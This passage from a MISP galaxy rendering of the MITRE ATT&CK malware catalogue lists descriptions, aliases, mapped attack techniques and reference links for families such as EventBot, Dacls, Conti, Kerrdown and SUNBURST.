- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

Table 5678. Table References

Links
https://attack.mitre.org/software/S0477
https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf

EventBot - S0478

[EventBot](https://attack.mitre.org/software/S0478) is an Android banking trojan and information stealer that abuses Android's accessibility service to steal data from various applications.(Citation: Cybereason EventBot) [EventBot](https://attack.mitre.org/software/S0478) was designed to target over 200 different banking and financial applications, the majority of which are European bank and cryptocurrency exchange applications.(Citation: Cybereason EventBot)

The tag is: *misp-galaxy:mitre-malware="EventBot - S0478"*

EventBot - S0478 is also known as:

- EventBot

View relationships graph

EventBot - S0478 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"

Table 5679. Table References

Links
https://attack.mitre.org/software/S0478
https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born

Kessel - S0487

[Kessel](https://attack.mitre.org/software/S0487) is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. [Kessel](https://attack.mitre.org/software/S0487) has been active since its C2 domain began resolving in August 2018.(Citation: ESET ForSSHe December 2018)

The tag is: *misp-galaxy:mitre-malware="Kessel - S0487"*

Kessel - S0487 is also known as:

- Kessel

View relationships graph

Kessel - S0487 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5680. Table References

Links
https://attack.mitre.org/software/S0487
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf

Dacls - S0497

[Dacls](https://attack.mitre.org/software/S0497) is a multi-platform remote access tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least December 2019.(Citation: TrendMicro macOS Dacls May 2020)(Citation: SentinelOne Lazarus macOS July 2020)

The tag is: *misp-galaxy:mitre-malware="Dacls - S0497"*

Dacls - S0497 is also known as:

- Dacls

View relationships graph

Dacls - S0497 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5681. Table References

Links
https://attack.mitre.org/software/S0497
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

WolfRAT - S0489

[WolfRAT](https://attack.mitre.org/software/S0489) is malware based on a leaked version of [Dendroid](https://attack.mitre.org/software/S0301) that has primarily targeted Thai users. [WolfRAT](https://attack.mitre.org/software/S0489) has most likely been operated by the now defunct organization Wolf Research.(Citation: Talos-WolfRAT)

The tag is: *misp-galaxy:mitre-malware="WolfRAT - S0489"*

WolfRAT - S0489 is also known as:

- WolfRAT

View relationships graph

WolfRAT - S0489 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5682. Table References

Links
https://attack.mitre.org/software/S0489
https://blog.talosintelligence.com/2020/05/the-wolf-is-back.html

Cryptoistic - S0498

[Cryptoistic](https://attack.mitre.org/software/S0498) is a backdoor, written in Swift, that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032).(Citation: SentinelOne Lazarus macOS July 2020)

The tag is: *misp-galaxy:mitre-malware="Cryptoistic - S0498"*

Cryptoistic - S0498 is also known as:

- Cryptoistic

View relationships graph

Cryptoistic - S0498 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5683. Table References

Links
https://attack.mitre.org/software/S0498
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

Hancitor - S0499

[Hancitor](https://attack.mitre.org/software/S0499) is a downloader that has been used by [Pony](https://attack.mitre.org/software/S0453) and other information stealing malware.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)

The tag is: *misp-galaxy:mitre-malware="Hancitor - S0499"*

Hancitor - S0499 is also known as:

- Hancitor
- Chanitor

View relationships graph

Hancitor - S0499 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5684. Table References

Links
https://attack.mitre.org/software/S0499
https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/
https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html

CHEMISTGAMES - S0555

[CHEMISTGAMES](https://attack.mitre.org/software/S0555) is a modular backdoor that has been deployed by [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: CYBERWARCON CHEMISTGAMES)

The tag is: *misp-galaxy:mitre-malware="CHEMISTGAMES - S0555"*

CHEMISTGAMES - S0555 is also known as:

- CHEMISTGAMES

View relationships graph

CHEMISTGAMES - S0555 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native Code - T1575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store -

T1475" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"

Table 5685. Table References

Links
https://attack.mitre.org/software/S0555
https://www.youtube.com/watch?v=xoNSbm1aX_w

BusyGasper - S0655

[BusyGasper](https://attack.mitre.org/software/S0655) is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.(Citation: SecureList BusyGasper)

The tag is: *misp-galaxy:mitre-malware="BusyGasper - S0655"*

BusyGasper - S0655 is also known as:

- BusyGasper

View relationships graph

BusyGasper - S0655 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="User Evasion - T1618" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5686. Table References

Links
https://attack.mitre.org/software/S0655
https://securelist.com/busygasper-the-unfriendly-spy/87627/

Raindrop - S0565

[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)

The tag is: *misp-galaxy:mitre-malware="Raindrop - S0565"*

Raindrop - S0565 is also known as:

- Raindrop

View relationships graph

Raindrop - S0565 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

Table 5687. Table References

Links
https://attack.mitre.org/software/S0565
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

Conti - S0575

[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)

The tag is: *misp-galaxy:mitre-malware="Conti - S0575"*

Conti - S0575 is also known as:

- Conti

View relationships graph

Conti - S0575 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5688. Table References

Links
https://attack.mitre.org/software/S0575
https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/
https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/
https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware

Kerrdown - S0585

[Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)

The tag is: *misp-galaxy:mitre-malware="Kerrdown - S0585"*

Kerrdown - S0585 is also known as:

- Kerrdown

View relationships graph

Kerrdown - S0585 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5689. Table References

Links
https://attack.mitre.org/software/S0585
https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/
https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf

SUNBURST - S0559

[SUNBURST](https://attack.mitre.org/software/S0559) is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)

The tag is: *misp-galaxy:mitre-malware="SUNBURST - S0559"*

SUNBURST - S0559 is also known as:

- SUNBURST
- Solorigate

View relationships graph

SUNBURST - S0559 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5690. Table References

Links
https://attack.mitre.org/software/S0559
https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

ThiefQuest - S0595

